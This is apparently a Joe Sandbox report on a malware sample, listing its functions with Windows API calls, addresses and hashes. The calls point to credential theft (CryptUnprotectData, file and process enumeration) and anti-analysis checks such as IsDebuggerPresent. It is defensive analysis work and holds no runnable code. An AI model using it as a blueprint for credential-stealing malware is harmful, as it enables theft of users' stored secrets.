Opcode Fuzzy Hash: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction Fuzzy Hash: 3A418278944219EFDB10DFD0DC88BEEBBB9BB44304F1045A8E509A6280D7756B84CF91

Function 0040C820 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,024E92A0), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,024B6258,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,024B6258,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,024B6258,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 040B7DF7 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 040B7E48
LocalAlloc.KERNEL32(00000040,?), ref: 040B7E60
GetKeyboardLayoutList.USER32(?,00000000), ref: 040B7E74
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 040B7EC9
LocalFree.KERNEL32(00000000), ref: 040B7F89

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID:
API String ID: 3090951853-0
Opcode ID: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction ID: eff0401ecb1636de8391406debc935c13fbcaf108f627cee4a25714bc6040993
Opcode Fuzzy Hash: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction Fuzzy Hash: EA412A71A50218ABDB24DB94DC88FEDB3B4FB48708F204199E149B7190DB742F85CFA9

Function 040BB5A1 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 040BBE09
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 040BBE1E
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 040BBE29
GetCurrentProcess.KERNEL32(C0000409), ref: 040BBE45
TerminateProcess.KERNEL32(00000000), ref: 040BBE4C

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 6499add1e4e183ced19e68a4f8bd4c6b13ae2e2991a7e6cf876f507599a5d0a4
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: 2321A2BC9002059FDB14DF69F8896963BF4FB0A314F504039E94997264EBB06981EB4D

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 040A74A7 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 040A74B4
RtlAllocateHeap.NTDLL(00000000), ref: 040A74BB
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 040A74E8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 040A750B
LocalFree.KERNEL32(?), ref: 040A7515

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: 320c99c7681db7e9c8a55361f5a6bdb720a77221d2296c63061fb30a61b0ebf5
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 2801C0B5B80208BBEB14DFE4DD45F9D77B9EB44705F108155F705BB2C0D6B0AA018B65

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 040B9867 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 040B9885
Process32First.KERNEL32(00420ACA,00000128), ref: 040B9899
Process32Next.KERNEL32(00420ACA,00000128), ref: 040B98AE
StrCmpCA.SHLWAPI(?,00000000), ref: 040B98C3
CloseHandle.KERNEL32(00420ACA), ref: 040B98E1

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: d6195237a3ee14073bbd96a683403868cc548d03841cb8d6035fdca6e788d584
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: 18010CB9A50208FFDB20DFE4CD54BEDB7F9EF49700F004199A945A6280D774AA40DF91

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 040AE697 Relevance: 6.5, APIs: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214F0,00420D73), ref: 040AE709
StrCmpCA.SHLWAPI(?,004214F8), ref: 040AE759
StrCmpCA.SHLWAPI(?,004214FC), ref: 040AE76F
FindNextFileA.KERNEL32(000000FF,?), ref: 040AEE46

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID:
API String ID: 433455689-0
Opcode ID: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction ID: 30702d1d9d7f5a39b0ddef5334114610c8a6b2d3d2b43300c82a185b8c787140
Opcode Fuzzy Hash: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction Fuzzy Hash: D1121C71B102189BEB19FBA4DD94EED7379AF5430CF4041A9A58A72090EF347B88CF95

Function 040B9107 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,040A53EB,40000001,00000000,00000000,?,040A53EB), ref: 040B9127

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 0a954588ec3d94c48fb1bc298277a442205e5d5ad0e63872c9866d7ed88bd09d
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 1C110DB4204204BFDB00CF94DC98FAA33A9AFC9744F009958FA499B350D775F842EBA5

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 040A9D27 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,040A5155,00000000,00000000), ref: 040A9D56
LocalAlloc.KERNEL32(00000040,?,?,?,040A5155,00000000,?), ref: 040A9D68
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,040A5155,00000000,00000000), ref: 040A9D91
LocalFree.KERNEL32(?,?,?,?,040A5155,00000000,?), ref: 040A9DA6

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: a782b91fe239bbbea29898daa90f5fa33238b16fb74b22111e72375f0ff3d5fc
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: DF11A4B4240208BFEB10CFA4CC95FAA77B5EB89704F208458FD159B390C776A951CB90

Function 040A9DC7 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 040A9DEB
LocalAlloc.KERNEL32(00000040,00000000), ref: 040A9E0A
memcpy.MSVCRT(?,?,?), ref: 040A9E2D
LocalFree.KERNEL32(?), ref: 040A9E3A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 373eda70253990e65f6a90f857002ce5cc8ba69a442bf83637a9ac0a4f06be44
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 4D11FAB8A00209EFDB04CFA4D985AAE77F5FF89300F104558E915AB350D730AA10CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,024EBCF0,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,024EBCF0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,024EBCF0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 040A092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 040A095F
GetProcAddress., xrefs: 040A09DC, 040A09DF, 040A09E4
l, xrefs: 040A0966

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: a82863a47a7ee32a9593f35e3836f8bcdee46c17d62b6d218b556de78f494dec
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: AA3139B6910609DFEB10CF99C884AAEBBF5FF48328F15404AD541BB210D771FA55CBA4

Function 040BD151 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0041CEA8), ref: 040BD156

Memory Dump Source

